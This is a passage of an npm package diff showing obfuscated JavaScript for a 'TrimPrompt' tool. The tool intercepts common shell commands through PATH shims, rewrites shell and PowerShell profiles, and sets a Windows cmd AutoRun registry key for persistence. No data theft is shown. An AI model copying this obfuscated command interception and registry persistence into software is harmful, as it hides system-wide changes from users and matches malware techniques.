dow\x20or\x20AI\x20assistant\x20(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.','\x20$args\x0a','1073501xqJLWx','__importStar','installShims','.trimprompt','\x20\x22$@\x22\x0a','1185651QIpTJM',':$PATH\x22\x0a','create','.zshrc','.cmd','.ps1','227702ISkUFu','1653192KhAkgz','Failed\x20to\x20install\x20shims:\x20','\x0a#\x20TrimPrompt\x20Shims\x20PATH\x0a','defineProperty','pytest','message','chmodSync','190yviqgX'];a0_0x1d32=function(){return _0x288d06;};return a0_0x1d32();}var __createBinding=this&&this[a0_0x120aaa(0xc0)]||(Object[a0_0x120aaa(0xcd)]?function(_0x478034,_0x364c8a,_0x3861cd,_0x4ca7a1){const _0x286243=a0_0x120aaa;if(_0x4ca7a1===undefined)_0x4ca7a1=_0x3861cd;var _0x47e4b7=Object['getOwnPropertyDescriptor'](_0x364c8a,_0x3861cd);(!_0x47e4b7||(_0x286243(0xf7)in _0x47e4b7?!_0x364c8a[_0x286243(0xee)]:_0x47e4b7[_0x286243(0xeb)]||_0x47e4b7['configurable']))&&(_0x47e4b7={'enumerable':!![],'get':function(){return _0x364c8a[_0x3861cd];}}),Object[_0x286243(0xd5)](_0x478034,_0x4ca7a1,_0x47e4b7);}:function(_0xfdb3f9,_0x5d45f0,_0x4f6d6,_0x33e46e){if(_0x33e46e===undefined)_0x33e46e=_0x4f6d6;_0xfdb3f9[_0x33e46e]=_0x5d45f0[_0x4f6d6];}),__setModuleDefault=this&&this[a0_0x120aaa(0xc3)]||(Object[a0_0x120aaa(0xcd)]?function(_0x2aa8db,_0xf917af){const _0x50f9de=a0_0x120aaa;Object[_0x50f9de(0xd5)](_0x2aa8db,_0x50f9de(0xf2),{'enumerable':!![],'value':_0xf917af});}:function(_0x287947,_0x20c379){const _0x39bbad=a0_0x120aaa;_0x287947[_0x39bbad(0xf2)]=_0x20c379;}),__importStar=this&&this[a0_0x120aaa(0xc7)]||(function(){var _0x451ee8=function(_0x4ea0d0){return _0x451ee8=Object['getOwnPropertyNames']||function(_0xda0bd){const _0x48c303=a0_0x45df;var _0x46fb63=[];for(var _0x47043e in _0xda0bd)if(Object[_0x48c303(0xf8)][_0x48c303(0xef)][_0x48c303(0xfc)](_0xda0bd,_0x47043e))_0x46fb63[_0x46fb63['length']]=_0x47043e;return _0x46fb63;},_0x451ee8(_0x4ea0d0);};return function(_0x25d5eb){const _0x58a498=a0_0x45df;if(_0x25d5eb&&_0x25d5eb[_0x58a498(0xee)])return _0x25d5eb;var _0x4e77e4={};if(_0x25d5eb!=null){for(var _0x1122ae=_0x451ee8(_0x25d5eb),_0x1f242a=0x0;_0x1f242a<_0x1122ae[_0x58a498(0xbc)];_0x1f242a++)if(_0x1122ae[_0x1f242a]!==_0x58a498(0xf2))__createBinding(_0x4e77e4,_0x25d5eb,_0x1122ae[_0x1f242a]);}return __setModuleDefault(_0x4e77e4,_0x25d5eb),_0x4e77e4;};}());Object['defineProperty'](exports,a0_0x120aaa(0xee),{'value':!![]}),exports[a0_0x120aaa(0xc8)]=installShims,exports[a0_0x120aaa(0xbf)]=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x120aaa(0xdf))),os=__importStar(require('os')),SHIMMED_COMMANDS=['git','gh',a0_0x120aaa(0xed),'cargo',a0_0x120aaa(0xec),a0_0x120aaa(0xb4),a0_0x120aaa(0xb8),a0_0x120aaa(0xfa),a0_0x120aaa(0xc2),'docker',a0_0x120aaa(0xd6),a0_0x120aaa(0xfd),a0_0x120aaa(0xe2),'go'];function installShims(){const _0x30f543=a0_0x120aaa,_0x36e365=path[_0x30f543(0xf5)](os[_0x30f543(0xe7)](),_0x30f543(0xc9),_0x30f543(0xea));try{!fs[_0x30f543(0xdb)](_0x36e365)&&fs[_0x30f543(0xe1)](_0x36e365,{'recursive':!![]});const _0x1827ba=os[_0x30f543(0xe0)]()===_0x30f543(0xbb);for(const _0x3cf30b of SHIMMED_COMMANDS){if(_0x1827ba){const _0x43bdff=path['join'](_0x36e365,_0x3cf30b+_0x30f543(0xcf)),_0x298630=_0x30f543(0xde)+_0x3cf30b+_0x30f543(0xb7);fs[_0x30f543(0xf3)](_0x43bdff,_0x298630,_0x30f543(0xe6));const _0x3de19f=path[_0x30f543(0xf5)](_0x36e365,_0x3cf30b+_0x30f543(0xd0)),_0x388792=_0x30f543(0xe5)+_0x3cf30b+_0x30f543(0xc5);fs[_0x30f543(0xf3)](_0x3de19f,_0x388792,_0x30f543(0xe6));}else{const _0x3fef95=path[_0x30f543(0xf5)](_0x36e365,_0x3cf30b),_0x5cf1bb=_0x30f543(0xe3)+_0x3cf30b+_0x30f543(0xca);fs[_0x30f543(0xf3)](_0x3fef95,_0x5cf1bb,_0x30f543(0xe6)),fs[_0x30f543(0xd8)](_0x3fef95,_0x30f543(0xdc));}}let _0x434308=![],_0x1235c0='';if(_0x1827ba)try{const {execSync:_0x26f9b0}=require(_0x30f543(0xf6)),_0x4bef5d='[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)',_0x5f09c7=_0x26f9b0(_0x30f543(0xb6)+_0x4bef5d+'\x22')[_0x30f543(0xe8)]()[_0x30f543(0xba)]();if(!_0x5f09c7[_0x30f543(0xf9)](_0x36e365)){const _0x1b3ffa=_0x36e365+';'+_0x5f09c7,_0x273b85='[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27'+_0x1b3ffa+'\x27,\x20\x27User\x27)';_0x26f9b0(_0x30f543(0xb6)+_0x273b85+'\x22'),_0x434308=!![];}else _0x434308=!![];}catch(_0x47d62b){_0x1235c0='Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20'+_0x36e365;}else try{const _0x4af02d='export\x20PATH=\x22'+_0x36e365+_0x30f543(0xcc),_0x29c0fd=os[_0x30f543(0xe7)](),_0x7cb15e=['.bashrc',_0x30f543(0xce),_0x30f543(0xbe),_0x30f543(0xc1)];let _0xc58e2b=![];for(const _0x368054 of _0x7cb15e){const _0x1ec665=path[_0x30f543(0xf5)](_0x29c0fd,_0x368054);if(fs[_0x30f543(0xdb)](_0x1ec665)){const _0x51aa94=fs['readFileSync'](_0x1ec665,_0x30f543(0xe6));!_0x51aa94[_0x30f543(0xf9)](_0x36e365)?(fs['appendFileSync'](_0x1ec665,_0x30f543(0xd4)+_0x4af02d),_0xc58e2b=!![]):_0xc58e2b=!![];}}if(!_0xc58e2b){const _0x4a6674=path[_0x30f543(0xf5)](_0x29c0fd,'.bashrc');fs[_0x30f543(0xb9)](_0x4a6674,_0x30f543(0xd4)+_0x4af02d);}_0x434308=!![];}catch(_0x4b9f7d){_0x1235c0='Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22'+_0x36e365+_0x30f543(0xe4);}const _0x340453=_0x30f543(0xfb)+SHIMMED_COMMANDS['length']+_0x30f543(0xdd),_0xb36212=_0x434308?_0x340453+_0x30f543(0xc4):_0x340453+'[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20'+_0x1235c0;return{'success':!![],'pathDir':_0x36e365,'message':_0xb36212};}catch(_0x5ee259){return{'success':![],'pathDir':_0x36e365,'message':_0x30f543(0xd3)+_0x5ee259[_0x30f543(0xd7)]};}}function uninstallShims(){const _0x37903f=a0_0x120aaa,_0x5ae990=path[_0x37903f(0xf5)](os['homedir'](),'.trimprompt','shims');try{if(fs[_0x37903f(0xdb)](_0x5ae990)){const _0x246364=fs['readdirSync'](_0x5ae990);for(const _0x55a0ba of _0x246364){fs[_0x37903f(0xf1)](path['join'](_0x5ae990,_0x55a0ba));}fs[_0x37903f(0xff)](_0x5ae990);}return{'success':!![],'message':'TrimPrompt\x20shims\x20successfully\x20uninstalled.\x20Remember\x20to\x20restore\x20your\x20PATH\x20variable.'};}catch(_0x25005f){return{'success':![],'message':_0x37903f(0xf4)+_0x25005f[_0x37903f(0xd7)]};}}
1
+ 'use strict';const a0_0xaeb862=a0_0x32d4;(function(_0x2778c1,_0x3f367d){const _0x4b9bcf=a0_0x32d4,_0x59813b=_0x2778c1();while(!![]){try{const _0x414ea7=parseInt(_0x4b9bcf(0x221))/0x1*(-parseInt(_0x4b9bcf(0x1eb))/0x2)+parseInt(_0x4b9bcf(0x216))/0x3+parseInt(_0x4b9bcf(0x207))/0x4+-parseInt(_0x4b9bcf(0x23d))/0x5*(parseInt(_0x4b9bcf(0x1f3))/0x6)+-parseInt(_0x4b9bcf(0x228))/0x7+-parseInt(_0x4b9bcf(0x231))/0x8*(parseInt(_0x4b9bcf(0x238))/0x9)+-parseInt(_0x4b9bcf(0x205))/0xa;if(_0x414ea7===_0x3f367d)break;else _0x59813b['push'](_0x59813b['shift']());}catch(_0x453b1e){_0x59813b['push'](_0x59813b['shift']());}}}(a0_0x436b,0xb1e74));var __createBinding=this&&this['__createBinding']||(Object[a0_0xaeb862(0x244)]?function(_0x3d2524,_0x5c5d3a,_0xb018fd,_0x370e7d){const _0x1f1034=a0_0xaeb862;if(_0x370e7d===undefined)_0x370e7d=_0xb018fd;var _0x19d509=Object[_0x1f1034(0x21f)](_0x5c5d3a,_0xb018fd);(!_0x19d509||('get'in _0x19d509?!_0x5c5d3a[_0x1f1034(0x1e1)]:_0x19d509[_0x1f1034(0x1f4)]||_0x19d509['configurable']))&&(_0x19d509={'enumerable':!![],'get':function(){return _0x5c5d3a[_0xb018fd];}}),Object[_0x1f1034(0x235)](_0x3d2524,_0x370e7d,_0x19d509);}:function(_0x34b8b5,_0x38dbb1,_0x5aa418,_0x164b0c){if(_0x164b0c===undefined)_0x164b0c=_0x5aa418;_0x34b8b5[_0x164b0c]=_0x38dbb1[_0x5aa418];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0xaeb862(0x244)]?function(_0x20e5a2,_0x4d90ef){Object['defineProperty'](_0x20e5a2,'default',{'enumerable':!![],'value':_0x4d90ef});}:function(_0x5eaaaf,_0x5e7469){const _0x499b59=a0_0xaeb862;_0x5eaaaf[_0x499b59(0x1f5)]=_0x5e7469;}),__importStar=this&&this['__importStar']||(function(){var _0x32473f=function(_0x40bbec){return _0x32473f=Object['getOwnPropertyNames']||function(_0x5f3f53){const _0x5136d8=a0_0x32d4;var _0x3808e7=[];for(var _0x163230 in _0x5f3f53)if(Object['prototype'][_0x5136d8(0x1f0)]['call'](_0x5f3f53,_0x163230))_0x3808e7[_0x3808e7[_0x5136d8(0x232)]]=_0x163230;return _0x3808e7;},_0x32473f(_0x40bbec);};return function(_0x1c4ebd){const _0x5d4c56=a0_0x32d4;if(_0x1c4ebd&&_0x1c4ebd[_0x5d4c56(0x1e1)])return _0x1c4ebd;var _0x29d02f={};if(_0x1c4ebd!=null){for(var _0x198872=_0x32473f(_0x1c4ebd),_0x420573=0x0;_0x420573<_0x198872[_0x5d4c56(0x232)];_0x420573++)if(_0x198872[_0x420573]!=='default')__createBinding(_0x29d02f,_0x1c4ebd,_0x198872[_0x420573]);}return __setModuleDefault(_0x29d02f,_0x1c4ebd),_0x29d02f;};}());Object[a0_0xaeb862(0x235)](exports,'__esModule',{'value':!![]}),exports[a0_0xaeb862(0x1e8)]=installShims,exports['uninstallShims']=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require(a0_0xaeb862(0x200))),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls','tree','cat',a0_0xaeb862(0x243),a0_0xaeb862(0x22b),'rg',a0_0xaeb862(0x1f2),a0_0xaeb862(0x202),'gh',a0_0xaeb862(0x23b),a0_0xaeb862(0x242),a0_0xaeb862(0x240),a0_0xaeb862(0x1da),a0_0xaeb862(0x204),a0_0xaeb862(0x21d),a0_0xaeb862(0x23f),a0_0xaeb862(0x23c),a0_0xaeb862(0x20b),'pip','pip3','go'],PROFILE_MARKER=a0_0xaeb862(0x224);function getExecSync(){const _0x2884c8=a0_0xaeb862;return require(_0x2884c8(0x1d9))[_0x2884c8(0x1fa)];}function a0_0x32d4(_0xed32a1,_0x9b4dd6){const _0x436b93=a0_0x436b();return a0_0x32d4=function(_0x32d4fc,_0x1b1bdc){_0x32d4fc=_0x32d4fc-0x1d5;let _0x4a4acd=_0x436b93[_0x32d4fc];return _0x4a4acd;},a0_0x32d4(_0xed32a1,_0x9b4dd6);}function getExecFileSync(){const _0x540907=a0_0xaeb862;return require(_0x540907(0x1d9))[_0x540907(0x219)];}function ensureProfileContains(_0x2c365f,_0x2fba95,_0x49e7e7){const _0x5de2f5=a0_0xaeb862;try{const _0x3b2ec4=path[_0x5de2f5(0x1d7)](_0x2c365f);!fs['existsSync'](_0x3b2ec4)&&fs[_0x5de2f5(0x1e4)](_0x3b2ec4,{'recursive':!![]});if(fs['existsSync'](_0x2c365f)){const _0x4a0998=fs['readFileSync'](_0x2c365f,_0x5de2f5(0x214));if(_0x4a0998[_0x5de2f5(0x1d5)](_0x2fba95))return;fs[_0x5de2f5(0x241)](_0x2c365f,_0x49e7e7,_0x5de2f5(0x214));}else fs[_0x5de2f5(0x210)](_0x2c365f,_0x49e7e7,_0x5de2f5(0x214));}catch{}}function removeProfileBlock(_0x596588,_0x4466e4){const _0x56c846=a0_0xaeb862;try{if(!fs['existsSync'](_0x596588))return;const _0x5b4c25=fs[_0x56c846(0x206)](_0x596588,_0x56c846(0x214));if(!_0x5b4c25['includes'](_0x4466e4))return;const _0x131581=_0x5b4c25[_0x56c846(0x1de)]('\x0a'),_0x194f51=[];let _0x3cc33d=![];for(let _0x442d2d=0x0;_0x442d2d<_0x131581[_0x56c846(0x232)];_0x442d2d++){if(_0x131581[_0x442d2d][_0x56c846(0x1d5)](_0x4466e4)){_0x3cc33d=!![];continue;}if(_0x3cc33d){_0x3cc33d=![];continue;}_0x194f51[_0x56c846(0x222)](_0x131581[_0x442d2d]);}const _0x12dcac=_0x194f51['join']('\x0a')['replace'](/\n{3,}/g,'\x0a\x0a');fs[_0x56c846(0x210)](_0x596588,_0x12dcac,_0x56c846(0x214));}catch{}}function collectPowerShellProfiles(){const _0x3d7838=a0_0xaeb862,_0x15ef16=getExecSync(),_0x3171dd=[],_0x3b019d=[[_0x3d7838(0x1d6),_0x3d7838(0x1d8)],[_0x3d7838(0x1d6),_0x3d7838(0x220)]];try{_0x15ef16(_0x3d7838(0x1fb),{'stdio':_0x3d7838(0x230)}),_0x3b019d['push']([_0x3d7838(0x20c),_0x3d7838(0x220)]);}catch{}for(const [_0x3abe04,_0x414189]of _0x3b019d){try{const _0x26cc99=_0x15ef16(_0x3abe04+_0x3d7838(0x1ef)+_0x414189+'\x22',{'encoding':'utf8'})[_0x3d7838(0x237)]();_0x26cc99&&!_0x3171dd[_0x3d7838(0x22c)](_0x1ecf7d=>_0x1ecf7d[_0x3d7838(0x234)]()===_0x26cc99[_0x3d7838(0x234)]())&&_0x3171dd[_0x3d7838(0x222)](_0x26cc99);}catch{}}return _0x3171dd;}function getBashProfilesWindows(){const _0x51b1a1=a0_0xaeb862,_0x1e22c2=os[_0x51b1a1(0x1e3)]();return['.bashrc',_0x51b1a1(0x1e6)][_0x51b1a1(0x1e7)](_0x4a8848=>path[_0x51b1a1(0x22a)](_0x1e22c2,_0x4a8848));}function getBroadcastCommand(){return'$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);';}function installShims(){const _0x3a9718=a0_0xaeb862,_0xf7bfaf=path[_0x3a9718(0x22a)](os[_0x3a9718(0x1e3)](),_0x3a9718(0x1fe),_0x3a9718(0x233));try{!fs[_0x3a9718(0x23e)](_0xf7bfaf)&&fs[_0x3a9718(0x1e4)](_0xf7bfaf,{'recursive':!![]});const _0x4c9d60=os[_0x3a9718(0x201)]()===_0x3a9718(0x1e2);for(const _0x488631 of SHIMMED_COMMANDS){if(_0x4c9d60){const _0x4e5080=path['join'](_0xf7bfaf,_0x488631+_0x3a9718(0x213));fs[_0x3a9718(0x210)](_0x4e5080,_0x3a9718(0x1f6)+_0x488631+_0x3a9718(0x1e0),'utf8');const _0x17e3ad=path[_0x3a9718(0x22a)](_0xf7bfaf,_0x488631+_0x3a9718(0x1df));fs[_0x3a9718(0x210)](_0x17e3ad,_0x3a9718(0x21b)+_0x488631+_0x3a9718(0x223),'utf8');const _0x46e70c=path[_0x3a9718(0x22a)](_0xf7bfaf,_0x488631);fs[_0x3a9718(0x210)](_0x46e70c,_0x3a9718(0x22d)+_0x488631+'\x20\x22$@\x22\x0a',_0x3a9718(0x214));}else{const _0x3b14a1=path['join'](_0xf7bfaf,_0x488631);fs[_0x3a9718(0x210)](_0x3b14a1,_0x3a9718(0x22d)+_0x488631+'\x20\x22$@\x22\x0a',_0x3a9718(0x214)),fs[_0x3a9718(0x212)](_0x3b14a1,_0x3a9718(0x20a));}}let _0x1b79cc=![],_0x2f14a6='';if(_0x4c9d60)try{const _0x38569f=getExecSync(),_0x886ba=_0x3a9718(0x208)+PROFILE_MARKER+'\x0a$env:PATH\x20=\x20\x22'+_0xf7bfaf+';\x22\x20+\x20$env:PATH\x0a',_0x2c38e6=collectPowerShellProfiles();for(const _0x3b00ee of _0x2c38e6){ensureProfileContains(_0x3b00ee,_0xf7bfaf,_0x886ba);}try{const _0x27a6f3=getExecFileSync(),_0x3fd60f=_0x3a9718(0x1f8)+_0xf7bfaf+'\x22\x20set\x20\x22PATH='+_0xf7bfaf+_0x3a9718(0x20f),_0x3292b0='HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor';let _0x322396='';try{const _0x4386d1=_0x3a9718(0x217)+_0x3292b0+_0x3a9718(0x22f);_0x322396=_0x27a6f3(_0x3a9718(0x21e),['-NoProfile','-Command',_0x4386d1],{'encoding':_0x3a9718(0x214),'stdio':['pipe','pipe','ignore']})[_0x3a9718(0x237)]();}catch{}if(!_0x322396[_0x3a9718(0x1d5)](_0xf7bfaf)){const _0x512fae=_0x322396?_0x322396+_0x3a9718(0x1e9)+_0x3fd60f:_0x3fd60f,_0x3c5ba8=_0x3a9718(0x203)+_0x3292b0+_0x3a9718(0x1ee)+_0x3292b0+_0x3a9718(0x225)+_0x512fae+'\x27';_0x27a6f3(_0x3a9718(0x21e),[_0x3a9718(0x226),_0x3a9718(0x1dc),_0x3c5ba8],{'stdio':_0x3a9718(0x230)});}}catch{}try{const _0xccac90=_0xf7bfaf[_0x3a9718(0x20d)](/\\/g,'/')[_0x3a9718(0x20d)](/^([A-Za-z]):/,(_0x5225e7,_0x493465)=>'/'+_0x493465[_0x3a9718(0x234)]()),_0x41030f=_0x3a9718(0x208)+PROFILE_MARKER+'\x0aexport\x20PATH=\x22'+_0xccac90+_0x3a9718(0x239),_0x449da1=getBashProfilesWindows();let _0x354d65=![];for(const _0x33f494 of _0x449da1){fs[_0x3a9718(0x23e)](_0x33f494)&&(ensureProfileContains(_0x33f494,_0xccac90,_0x41030f),_0x354d65=!![]);}!_0x354d65&&ensureProfileContains(_0x449da1[0x0],_0xccac90,_0x41030f);}catch{}const _0xfcf97=_0x3a9718(0x23a),_0x272b58=_0x38569f(_0x3a9718(0x1fc)+_0xfcf97+'\x22',{'encoding':_0x3a9718(0x214),'stdio':[_0x3a9718(0x1f9),'pipe',_0x3a9718(0x230)]})[_0x3a9718(0x237)]();if(!_0x272b58[_0x3a9718(0x1d5)](_0xf7bfaf)){const _0x27323c=_0xf7bfaf+';'+_0x272b58,_0x2eb934=_0x27323c[_0x3a9718(0x20d)](/'/g,'\x27\x27'),_0xdedaef=_0x3a9718(0x246)+_0x2eb934+_0x3a9718(0x1e5);_0x38569f('powershell\x20-NoProfile\x20-Command\x20\x22'+_0xdedaef+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x3a9718(0x230)});}const _0x49d4e3=path[_0x3a9718(0x22a)](process['env'][_0x3a9718(0x22e)]||'',_0x3a9718(0x240),'trim.ps1');if(fs[_0x3a9718(0x23e)](_0x49d4e3))try{fs[_0x3a9718(0x1db)](_0x49d4e3);}catch{}_0x1b79cc=!![];}catch(_0x26bf2f){_0x2f14a6='Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20'+_0xf7bfaf;}else try{const _0x3895df=_0x3a9718(0x211)+_0xf7bfaf+_0x3a9718(0x239),_0x1023af=os[_0x3a9718(0x1e3)](),_0x10ff3c=[_0x3a9718(0x227),_0x3a9718(0x1f1),_0x3a9718(0x1e6),_0x3a9718(0x209)];let _0x1df1f7=![];for(const _0x58b0a0 of _0x10ff3c){const _0x56d8cc=path[_0x3a9718(0x22a)](_0x1023af,_0x58b0a0);fs['existsSync'](_0x56d8cc)&&(ensureProfileContains(_0x56d8cc,_0xf7bfaf,'\x0a#\x20'+PROFILE_MARKER+'\x0a'+_0x3895df),_0x1df1f7=!![]);}if(!_0x1df1f7){const _0xf75571=path[_0x3a9718(0x22a)](_0x1023af,_0x3a9718(0x227));ensureProfileContains(_0xf75571,_0xf7bfaf,_0x3a9718(0x208)+PROFILE_MARKER+'\x0a'+_0x3895df);}_0x1b79cc=!![];}catch(_0x555cd8){_0x2f14a6=_0x3a9718(0x1ea)+_0xf7bfaf+_0x3a9718(0x20e);}const _0x3ceb73='TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20'+SHIMMED_COMMANDS[_0x3a9718(0x232)]+_0x3a9718(0x1ed),_0x4cdd06=_0x1b79cc?_0x3ceb73+_0x3a9718(0x1ff):_0x3ceb73+_0x3a9718(0x21c)+_0x2f14a6;return{'success':!![],'pathDir':_0xf7bfaf,'message':_0x4cdd06};}catch(_0x29fcd7){return{'success':![],'pathDir':_0xf7bfaf,'message':_0x3a9718(0x21a)+_0x29fcd7['message']};}}function a0_0x436b(){const _0x5c656c=['yarn','powershell.exe','getOwnPropertyDescriptor','$PROFILE.CurrentUserAllHosts','3eSoieO','push','\x20@args\x0a','TrimPrompt\x20Shims\x20PATH','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27','-NoProfile','.bashrc','3896445skUNEJ','Set-ItemProperty\x20-Path\x20\x27','join','grep','some','#!/bin/sh\x0aexec\x20trim\x20','APPDATA','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}','ignore','139240fKaZCn','length','shims','toLowerCase','defineProperty','rmdirSync','trim','54qUEgbb',':$PATH\x22\x0a','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','glab','docker','4070YmDYAY','existsSync','kubectl','npm','appendFileSync','cargo','read','create','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','includes','powershell','dirname','$PROFILE.CurrentUserCurrentHost','child_process','pnpm','unlinkSync','-Command','Remove-ItemProperty\x20-Path\x20\x27','split','.ps1','\x20%*\x0a','__esModule','win32','homedir','mkdirSync','\x27,\x20\x27User\x27)','.bash_profile','map','installShims','\x20&\x20','Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22','157990efRixz','Failed\x20to\x20uninstall\x20shims:\x20','\x20commands.\x0a\x0a','\x27\x20-Force\x20|\x20Out-Null;\x20Set-ItemProperty\x20-Path\x20\x27','\x20-NoProfile\x20-Command\x20\x22','hasOwnProperty','.zshrc','ruff','84rzfMMD','writable','default','@echo\x20off\x0atrim\x20','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','if\x20exist\x20\x22','pipe','execSync','pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22','powershell\x20-NoProfile\x20-Command\x20\x22','filter','.trimprompt','[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x20updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20window\x20or\x20AI\x20assistant\x20(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.','path','platform','git','New-Item\x20-Path\x20\x27','npx','2272140WtvVxF','readFileSync','1720320ZfvXoK','\x0a#\x20','.profile','755','pytest','pwsh','replace',':$PATH\x22',';%PATH%\x22','writeFileSync','export\x20PATH=\x22','chmodSync','.cmd','utf8','message','4305816LMfMAJ','try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27','readdirSync','execFileSync','Failed\x20to\x20install\x20shims:\x20','&\x20trim\x20','[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20'];a0_0x436b=function(){return _0x5c656c;};return a0_0x436b();}function uninstallShims(){const _0x389710=a0_0xaeb862,_0x483ef2=path[_0x389710(0x22a)](os[_0x389710(0x1e3)](),'.trimprompt',_0x389710(0x233)),_0x317531=os[_0x389710(0x201)]()==='win32';try{if(_0x317531){const _0x1058d0=getExecSync();try{const _0x1daf46=getExecFileSync(),_0xc8dd3b=_0x389710(0x1f7),_0x4913c4=_0x389710(0x217)+_0xc8dd3b+_0x389710(0x22f),_0x19891c=_0x1daf46(_0x389710(0x21e),[_0x389710(0x226),_0x389710(0x1dc),_0x4913c4],{'encoding':_0x389710(0x214),'stdio':[_0x389710(0x1f9),_0x389710(0x1f9),_0x389710(0x230)]})[_0x389710(0x237)]();if(_0x19891c['includes'](_0x483ef2)){const _0x59bf25=_0x19891c[_0x389710(0x1de)](_0x389710(0x1e9))[_0x389710(0x1fd)](_0x26e3c6=>!_0x26e3c6[_0x389710(0x1d5)](_0x483ef2));if(_0x59bf25[_0x389710(0x232)]===0x0){const _0x3310a3=_0x389710(0x1dd)+_0xc8dd3b+_0x389710(0x245);_0x1daf46('powershell.exe',['-NoProfile',_0x389710(0x1dc),_0x3310a3],{'stdio':_0x389710(0x230)});}else{const _0x5715b8=_0x59bf25[_0x389710(0x22a)](_0x389710(0x1e9)),_0x3e8160=_0x389710(0x229)+_0xc8dd3b+_0x389710(0x225)+_0x5715b8+'\x27';_0x1daf46(_0x389710(0x21e),['-NoProfile',_0x389710(0x1dc),_0x3e8160],{'stdio':'ignore'});}}}catch{}try{const _0x53ae43=collectPowerShellProfiles();for(const _0x1e268b of _0x53ae43){removeProfileBlock(_0x1e268b,PROFILE_MARKER);}}catch{}try{for(const _0x192cbc of getBashProfilesWindows()){removeProfileBlock(_0x192cbc,PROFILE_MARKER);}}catch{}try{const _0x328b65=_0x389710(0x23a),_0x2cd767=_0x1058d0('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x328b65+'\x22',{'encoding':_0x389710(0x214),'stdio':[_0x389710(0x1f9),'pipe',_0x389710(0x230)]})[_0x389710(0x237)]();if(_0x2cd767[_0x389710(0x1d5)](_0x483ef2)){const _0x3a3298=_0x2cd767[_0x389710(0x1de)](';')[_0x389710(0x1fd)](_0x28e6df=>_0x28e6df[_0x389710(0x237)]()[_0x389710(0x234)]()!==_0x483ef2[_0x389710(0x234)]())['join'](';'),_0x350fe6=_0x3a3298[_0x389710(0x20d)](/'/g,'\x27\x27'),_0x1f7ed3=_0x389710(0x246)+_0x350fe6+_0x389710(0x1e5);_0x1058d0(_0x389710(0x1fc)+_0x1f7ed3+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x389710(0x230)});}}catch{}}else{const _0x1b0797=os[_0x389710(0x1e3)](),_0x243e6f=['.bashrc',_0x389710(0x1f1),_0x389710(0x1e6),_0x389710(0x209)];for(const _0x5352a6 of _0x243e6f){removeProfileBlock(path[_0x389710(0x22a)](_0x1b0797,_0x5352a6),PROFILE_MARKER);}}if(fs[_0x389710(0x23e)](_0x483ef2)){const _0x259f96=fs[_0x389710(0x218)](_0x483ef2);for(const _0x590299 of _0x259f96){fs[_0x389710(0x1db)](path[_0x389710(0x22a)](_0x483ef2,_0x590299));}fs[_0x389710(0x236)](_0x483ef2);}return{'success':!![],'message':'TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.'};}catch(_0x364aee){return{'success':![],'message':_0x389710(0x1ec)+_0x364aee[_0x389710(0x215)]};}}
package/simulate.js CHANGED
@@ -1 +1 @@
1
